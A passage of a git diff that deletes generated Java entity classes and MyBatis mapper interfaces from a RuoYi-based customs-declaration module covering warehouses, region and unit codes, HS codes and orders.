+0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.TreeEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 国家行政区划代码对象 custom_region_code - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_region_code") -public class CustomRegionCodePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - /** 父id */ - @Excel(name = "父id") - private Long parentId; - /** 编码 */ - @Excel(name = "编码") - private String code; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 备注 */ - @Excel(name = "备注") - private String remark; - /** 等级 */ - @Excel(name = "等级") - private Integer grade; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public Long getParentId() - { - return parentId; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - public void setGrade(Integer grade) - { - this.grade = grade; - } - - public Integer getGrade() - { - return grade; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("parentId", getParentId()) - .append("code", getCode()) - .append("name", getName()) - .append("remark", getRemark()) - .append("grade", getGrade()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomUnitCode.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomUnitCode.java deleted file mode 100644 index fabfe36..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomUnitCode.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 计量单位代码对象 custom_unit_code - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomUnitCode extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 代码 */ - @Excel(name = "代码") - private String code; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("code", getCode()) - .append("name", getName()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomUnitCodePlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomUnitCodePlus.java deleted file mode 100644 index fa94c3b..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomUnitCodePlus.java +++ /dev/null @@ -1,78 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 计量单位代码对象 custom_unit_code - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_unit_code") -public class CustomUnitCodePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** 代码 */ - @Excel(name = "代码") - private String code; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 备注 */ - @Excel(name = "备注") - private String remark; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("code", getCode()) - .append("name", getName()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomWarehouse.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomWarehouse.java deleted file mode 100644 index 3acdcba..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomWarehouse.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 仓库对象 custom_warehouse - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomWarehouse extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 口岸Id */ - @Excel(name = "口岸Id") - private Long declarePortId; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - /** $column.columnComment */ - @Excel(name = "名称") - private String code; - - /** 描述 */ - @Excel(name = "描述") - private String describe; - - /** 发件人 */ - @Excel(name = "发件人") - private String consignor; - - /** 发件人地址 */ - @Excel(name = "发件人地址") - private String consignorAddress; - - /** 发件人电话 */ - @Excel(name = "发件人电话") - private String consignorTelephone; - - /** 发件人所在国 */ - @Excel(name = "发件人所在国") - private String consignorCountry; - - /** $column.columnComment */ - @Excel(name = "发件人所在国") - private String consignorProvince; - - /** 发件人市 */ - @Excel(name = "发件人市") - private String consignorCity; - - /** 发件人区 */ - @Excel(name = "发件人区") - private String consignorDistrict; - - /** 类型:1、保税;2、直邮;3、个人 */ - @Excel(name = "类型:1、保税;2、直邮;3、个人") - private Integer type; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setDescribe(String describe) - { - this.describe = describe; - } - - public String getDescribe() - { - return describe; - } - public void setConsignor(String consignor) - { - this.consignor = consignor; - } - - public String getConsignor() - { - return consignor; - } - public void setConsignorAddress(String consignorAddress) - { - this.consignorAddress = consignorAddress; - } - - public String getConsignorAddress() - { - return consignorAddress; - } - public void setConsignorTelephone(String consignorTelephone) - { - this.consignorTelephone = consignorTelephone; - } - - public String getConsignorTelephone() - { - return consignorTelephone; - } - public void setConsignorCountry(String consignorCountry) - { - this.consignorCountry = consignorCountry; - } - - public String getConsignorCountry() - { - return consignorCountry; - } - public void setConsignorProvince(String consignorProvince) - { - this.consignorProvince = consignorProvince; - } - - public String getConsignorProvince() - { - return consignorProvince; - } - public void setConsignorCity(String consignorCity) - { - this.consignorCity = consignorCity; - } - - public String getConsignorCity() - { - return consignorCity; - } - public void setConsignorDistrict(String consignorDistrict) - { - this.consignorDistrict = consignorDistrict; - } - - public String getConsignorDistrict() - { - return consignorDistrict; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("declarePortId", getDeclarePortId()) - .append("name", getName()) - .append("code", getCode()) - .append("describe", getDescribe()) - .append("consignor", getConsignor()) - .append("consignorAddress", getConsignorAddress()) - .append("consignorTelephone", getConsignorTelephone()) - .append("consignorCountry", getConsignorCountry()) - .append("consignorProvince", getConsignorProvince()) - .append("consignorCity", getConsignorCity()) - .append("consignorDistrict", getConsignorDistrict()) - .append("type", getType()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomWarehousePlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomWarehousePlus.java deleted file mode 100644 index a7f8ba4..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomWarehousePlus.java +++ /dev/null @@ -1,195 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 仓库对象 custom_warehouse - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_warehouse") -public class CustomWarehousePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** 口岸Id */ - @Excel(name = "口岸Id") - private Long declarePortId; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** $column.columnComment */ - @Excel(name = "名称") - private String code; - /** 描述 */ - @Excel(name = "描述") - private String describe; - /** 发件人 */ - @Excel(name = "发件人") - private String consignor; - /** 发件人地址 */ - @Excel(name = "发件人地址") - private String consignorAddress; - /** 发件人电话 */ - @Excel(name = "发件人电话") - private String consignorTelephone; - /** 发件人所在国 */ - @Excel(name = "发件人所在国") - private String consignorCountry; - /** $column.columnComment */ - @Excel(name = "发件人所在国") - private String consignorProvince; - /** 发件人市 */ - @Excel(name = "发件人市") - private String consignorCity; - /** 发件人区 */ - @Excel(name = "发件人区") - private String consignorDistrict; - /** 类型:1、保税;2、直邮;3、个人 */ - @Excel(name = "类型:1、保税;2、直邮;3、个人") - private Integer type; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setDescribe(String describe) - { - this.describe = describe; - } - - public String getDescribe() - { - return describe; - } - public void setConsignor(String consignor) - { - this.consignor = consignor; - } - - public String getConsignor() - { - return consignor; - } - public void setConsignorAddress(String consignorAddress) - { - this.consignorAddress = consignorAddress; - } - - public String getConsignorAddress() - { - return consignorAddress; - } - public void setConsignorTelephone(String consignorTelephone) - { - this.consignorTelephone = consignorTelephone; - } - - public String getConsignorTelephone() - { - return consignorTelephone; - } - public void setConsignorCountry(String consignorCountry) - { - this.consignorCountry = consignorCountry; - } - - public String getConsignorCountry() - { - return consignorCountry; - } - public void setConsignorProvince(String consignorProvince) - { - this.consignorProvince = consignorProvince; - } - - public String getConsignorProvince() - { - return consignorProvince; - } - public void setConsignorCity(String consignorCity) - { - this.consignorCity = consignorCity; - } - - public String getConsignorCity() - { - return consignorCity; - } - public void setConsignorDistrict(String consignorDistrict) - { - this.consignorDistrict = consignorDistrict; - } - - public String getConsignorDistrict() - { - return consignorDistrict; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("declarePortId", getDeclarePortId()) - .append("name", getName()) - .append("code", getCode()) - .append("describe", getDescribe()) - .append("consignor", getConsignor()) - .append("consignorAddress", getConsignorAddress()) - .append("consignorTelephone", getConsignorTelephone()) - .append("consignorCountry", getConsignorCountry()) - .append("consignorProvince", getConsignorProvince()) - .append("consignorCity", getConsignorCity()) - .append("consignorDistrict", getConsignorDistrict()) - .append("type", getType()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomCallbackMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomCallbackMapper.java deleted file mode 100644 index 07298a5..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomCallbackMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomCallback; -import com.ruoyi.custom.domain.CustomCallbackPlus; - -/** - * 海关回查Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomCallbackMapper extends BaseMapper -{ - /** - * 查询海关回查 - * - * @param id 海关回查ID - * @return 海关回查 - */ - public CustomCallback selectCustomCallbackById(Long id); - - /** - * 查询海关回查列表 - * - * @param customCallback 海关回查 - * @return 海关回查集合 - */ - public List selectCustomCallbackList(CustomCallback customCallback); - - /** - * 新增海关回查 - * - * @param customCallback 海关回查 - * @return 结果 - */ - public int insertCustomCallback(CustomCallback customCallback); - - /** - * 修改海关回查 - * - * @param customCallback 海关回查 - * @return 结果 - */ - public int updateCustomCallback(CustomCallback customCallback); - - /** - * 删除海关回查 - * - * @param id 海关回查ID - * @return 结果 - */ - public int deleteCustomCallbackById(Long id); - - /** - * 批量删除海关回查 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomCallbackByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomCountryCodeMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomCountryCodeMapper.java deleted file mode 100644 index 3ffc4f2..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomCountryCodeMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomCountryCode; -import com.ruoyi.custom.domain.CustomCountryCodePlus; - -/** - * 国别代码Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomCountryCodeMapper extends BaseMapper -{ - /** - * 查询国别代码 - * - * @param id 国别代码ID - * @return 国别代码 - */ - public CustomCountryCode selectCustomCountryCodeById(Long id); - - /** - * 查询国别代码列表 - * - * @param customCountryCode 国别代码 - * @return 国别代码集合 - */ - public List selectCustomCountryCodeList(CustomCountryCode customCountryCode); - - /** - * 新增国别代码 - * - * @param customCountryCode 国别代码 - * @return 结果 - */ - public int insertCustomCountryCode(CustomCountryCode customCountryCode); - - /** - * 修改国别代码 - * - * @param customCountryCode 国别代码 - * @return 结果 - */ - public int updateCustomCountryCode(CustomCountryCode customCountryCode); - - /** - * 删除国别代码 - * - * @param id 国别代码ID - * @return 结果 - */ - public int deleteCustomCountryCodeById(Long id); - - /** - * 批量删除国别代码 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomCountryCodeByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomDeclarePortMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomDeclarePortMapper.java deleted file mode 100644 index 71d88e8..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomDeclarePortMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomDeclarePort; -import com.ruoyi.custom.domain.CustomDeclarePortPlus; - -/** - * 申报口岸Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomDeclarePortMapper extends BaseMapper -{ - /** - * 查询申报口岸 - * - * @param id 申报口岸ID - * @return 申报口岸 - */ - public CustomDeclarePort selectCustomDeclarePortById(Long id); - - /** - * 查询申报口岸列表 - * - * @param customDeclarePort 申报口岸 - * @return 申报口岸集合 - */ - public List selectCustomDeclarePortList(CustomDeclarePort customDeclarePort); - - /** - * 新增申报口岸 - * - * @param customDeclarePort 申报口岸 - * @return 结果 - */ - public int insertCustomDeclarePort(CustomDeclarePort customDeclarePort); - - /** - * 修改申报口岸 - * - * @param customDeclarePort 申报口岸 - * @return 结果 - */ - public int updateCustomDeclarePort(CustomDeclarePort customDeclarePort); - - /** - * 删除申报口岸 - * - * @param id 申报口岸ID - * @return 结果 - */ - public int deleteCustomDeclarePortById(Long id); - - /** - * 批量删除申报口岸 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomDeclarePortByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomEnterpriseRecordMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomEnterpriseRecordMapper.java deleted file mode 100644 index b92b764..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomEnterpriseRecordMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomEnterpriseRecord; -import com.ruoyi.custom.domain.CustomEnterpriseRecordPlus; - -/** - * 企业备案Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomEnterpriseRecordMapper extends BaseMapper -{ - /** - * 查询企业备案 - * - * @param id 企业备案ID - * @return 企业备案 - */ - public CustomEnterpriseRecord selectCustomEnterpriseRecordById(Long id); - - /** - * 查询企业备案列表 - * - * @param customEnterpriseRecord 企业备案 - * @return 企业备案集合 - */ - public List selectCustomEnterpriseRecordList(CustomEnterpriseRecord customEnterpriseRecord); - - /** - * 新增企业备案 - * - * @param customEnterpriseRecord 企业备案 - * @return 结果 - */ - public int insertCustomEnterpriseRecord(CustomEnterpriseRecord customEnterpriseRecord); - - /** - * 修改企业备案 - * - * @param customEnterpriseRecord 企业备案 - * @return 结果 - */ - public int updateCustomEnterpriseRecord(CustomEnterpriseRecord customEnterpriseRecord); - - /** - * 删除企业备案 - * - * @param id 企业备案ID - * @return 结果 - */ - public int deleteCustomEnterpriseRecordById(Long id); - - /** - * 批量删除企业备案 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomEnterpriseRecordByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomFlightInfoMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomFlightInfoMapper.java deleted file mode 100644 index 835ea7a..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomFlightInfoMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomFlightInfo; -import com.ruoyi.custom.domain.CustomFlightInfoPlus; - -/** - * 航班信息Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomFlightInfoMapper extends BaseMapper -{ - /** - * 查询航班信息 - * - * @param id 航班信息ID - * @return 航班信息 - */ - public CustomFlightInfo selectCustomFlightInfoById(Long id); - - /** - * 查询航班信息列表 - * - * @param customFlightInfo 航班信息 - * @return 航班信息集合 - */ - public List selectCustomFlightInfoList(CustomFlightInfo customFlightInfo); - - /** - * 新增航班信息 - * - * @param customFlightInfo 航班信息 - * @return 结果 - */ - public int insertCustomFlightInfo(CustomFlightInfo customFlightInfo); - - /** - * 修改航班信息 - * - * @param customFlightInfo 航班信息 - * @return 结果 - */ - public int updateCustomFlightInfo(CustomFlightInfo customFlightInfo); - - /** - * 删除航班信息 - * - * @param id 航班信息ID - * @return 结果 - */ - public int deleteCustomFlightInfoById(Long id); - - /** - * 批量删除航班信息 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomFlightInfoByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomHsCodeMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomHsCodeMapper.java deleted file mode 100644 index cc57f3a..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomHsCodeMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomHsCode; -import com.ruoyi.custom.domain.CustomHsCodePlus; - -/** - * HS编码Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomHsCodeMapper extends BaseMapper -{ - /** - * 查询HS编码 - * - * @param id HS编码ID - * @return HS编码 - */ - public CustomHsCode selectCustomHsCodeById(Long id); - - /** - * 查询HS编码列表 - * - * @param customHsCode HS编码 - * @return HS编码集合 - */ - public List selectCustomHsCodeList(CustomHsCode customHsCode); - - /** - * 新增HS编码 - * - * @param customHsCode HS编码 - * @return 结果 - */ - public int insertCustomHsCode(CustomHsCode customHsCode); - - /** - * 修改HS编码 - * - * @param customHsCode HS编码 - * @return 结果 - */ - public int updateCustomHsCode(CustomHsCode customHsCode); - - /** - * 删除HS编码 - * - * @param id HS编码ID - * @return 结果 - */ - public int deleteCustomHsCodeById(Long id); - - /** - * 批量删除HS编码 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomHsCodeByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomInventoryMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomInventoryMapper.java deleted file mode 100644 index d825267..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomInventoryMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomInventory; -import com.ruoyi.custom.domain.CustomInventoryPlus; - -/** - * 正面清单Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomInventoryMapper extends BaseMapper -{ - /** - * 查询正面清单 - * - * @param id 正面清单ID - * @return 正面清单 - */ - public CustomInventory selectCustomInventoryById(Long id); - - /** - * 查询正面清单列表 - * - * @param customInventory 正面清单 - * @return 正面清单集合 - */ - public List selectCustomInventoryList(CustomInventory customInventory); - - /** - * 新增正面清单 - * - * @param customInventory 正面清单 - * @return 结果 - */ - public int insertCustomInventory(CustomInventory customInventory); - - /** - * 修改正面清单 - * - * @param customInventory 正面清单 - * @return 结果 - */ - public int updateCustomInventory(CustomInventory customInventory); - - /** - * 删除正面清单 - * - * @param id 正面清单ID - * @return 结果 - */ - public int deleteCustomInventoryById(Long id); - - /** - * 批量删除正面清单 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomInventoryByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomOrderItemMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomOrderItemMapper.java deleted file mode 100644 index 4da0dcd..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomOrderItemMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomOrderItem; -import com.ruoyi.custom.domain.CustomOrderItemPlus; - -/** - * 备案订单项Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomOrderItemMapper extends BaseMapper -{ - /** - * 查询备案订单项 - * - * @param id 备案订单项ID - * @return 备案订单项 - */ - public CustomOrderItem selectCustomOrderItemById(Long id); - - /** - * 查询备案订单项列表 - * - * @param customOrderItem 备案订单项 - * @return 备案订单项集合 - */ - public List selectCustomOrderItemList(CustomOrderItem customOrderItem); - - /** - * 新增备案订单项 - * - * @param customOrderItem 备案订单项 - * @return 结果 - */ - public int insertCustomOrderItem(CustomOrderItem customOrderItem); - - /** - * 修改备案订单项 - * - * @param customOrderItem 备案订单项 - * @return 结果 - */ - public int updateCustomOrderItem(CustomOrderItem customOrderItem); - - /** - * 删除备案订单项 - * - * @param id 备案订单项ID - * @return 结果 - */ - public int deleteCustomOrderItemById(Long id); - - /** - * 批量删除备案订单项 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomOrderItemByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomOrderMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomOrderMapper.java deleted file mode 100644 index 938e10c..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomOrderMapper.java +++ /dev/null @@ -1,91 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomOrder; -import com.ruoyi.custom.domain.CustomOrderPlus; -import com.ruoyi.custom.domain.CustomOrderItem; - -/** - * 备案订单Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomOrderMapper extends BaseMapper -{ - /** - * 查询备案订单 - * - * @param id 备案订单ID - * @return 备案订单 - */ - public CustomOrder selectCustomOrderById(Long id); - - /** - * 查询备案订单列表 - * - * @param customOrder 备案订单 - * @return 备案订单集合 - */ - public List selectCustomOrderList(CustomOrder customOrder); - - /** - * 新增备案订单 - * - * @param customOrder 备案订单 - * @return 结果 - */ - public int insertCustomOrder(CustomOrder customOrder); - - /** - * 修改备案订单 - * - * @param customOrder 备案订单 - * @return 结果 - */ - public int updateCustomOrder(CustomOrder customOrder); - - /** - * 删除备案订单 - * - * @param id 备案订单ID - * @return 结果 - */ - public int deleteCustomOrderById(Long id); - - /** - * 批量删除备案订单 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomOrderByIds(Long[] ids); - - /** - * 批量删除备案订单项 - * - * @param customerIds 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomOrderItemByOrderIds(Long[] ids); - - /** - * 批量新增备案订单项 - * - * @param customOrderItemList 备案订单项列表 - * @return 结果 - */ - public int batchCustomOrderItem(List customOrderItemList); - - - /** - * 通过备案订单ID删除备案订单项信息 - * - * @param roleId 角色ID - * @return 结果 - */ - public int deleteCustomOrderItemByOrderId(Long id); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomParcelNumberMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomParcelNumberMapper.java deleted file mode 100644 index 7a75fee..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomParcelNumberMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomParcelNumber; -import com.ruoyi.custom.domain.CustomParcelNumberPlus; - -/** - * 行邮税号Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomParcelNumberMapper extends BaseMapper -{ - /** - * 查询行邮税号 - * - * @param id 行邮税号ID - * @return 行邮税号 - */ - public CustomParcelNumber selectCustomParcelNumberById(Long id); - - /** - * 查询行邮税号列表 - * - * @param customParcelNumber 行邮税号 - * @return 行邮税号集合 - */ - public List selectCustomParcelNumberList(CustomParcelNumber customParcelNumber); - - /** - * 新增行邮税号 - * - * @param customParcelNumber 行邮税号 - * @return 结果 - */ - public int insertCustomParcelNumber(CustomParcelNumber customParcelNumber); - - /** - * 修改行邮税号 - * - * @param customParcelNumber 行邮税号 - * @return 结果 - */ - public int updateCustomParcelNumber(CustomParcelNumber customParcelNumber); - - /** - * 删除行邮税号 - * - * @param id 行邮税号ID - * @return 结果 - */ - public int deleteCustomParcelNumberById(Long id); - - /** - * 批量删除行邮税号 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteCustomParcelNumberByIds(Long[] ids); -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomProductRecordMapper.java b/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomProductRecordMapper.java deleted file mode 100644 index eb7829b..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/mapper/CustomProductRecordMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.ruoyi.custom.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.ruoyi.custom.domain.CustomProductRecord; -import com.ruoyi.custom.domain.CustomProductRecordPlus; - -/** - * 商品备案Mapper接口 - * - * @author luqj - * @date 2021-10-23 - */ -public interface CustomProductRecordMapper extends BaseMapper -{ - /** - * 查询商品备案 - * - * @param id 商品备案ID - * @return 商品备案 - */ - public CustomProductRecord selectCustomProductRecordById(Long id); - - /** - * 查询商品备案列表 - * - * @param customProductRecord 商品备案 - * @return 商品备案集合 - */ - public List selectCustomProductRecordList(CustomProductRecord customProductRecord); - - /** - * 新增商品备案 - * - * @param customProductRecord 商品备案 - * @return 结果 - */ - public int insertCustomProductRecord(CustomProductRecord customProductRecord); - - /** - * 修改商品备案 - * - * @param customProductRecord 商品备案 - * @return 结果 - */ - public int updateCustomProductRecord(CustomProductRecord customProductRecord); - - /** - * 删除商品备案 - * - * @param id 商品备案ID - * @return 结果 - */ - public int deleteCustomProductRecordById(Long id); - - /** - * 批量删除商品备案 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int 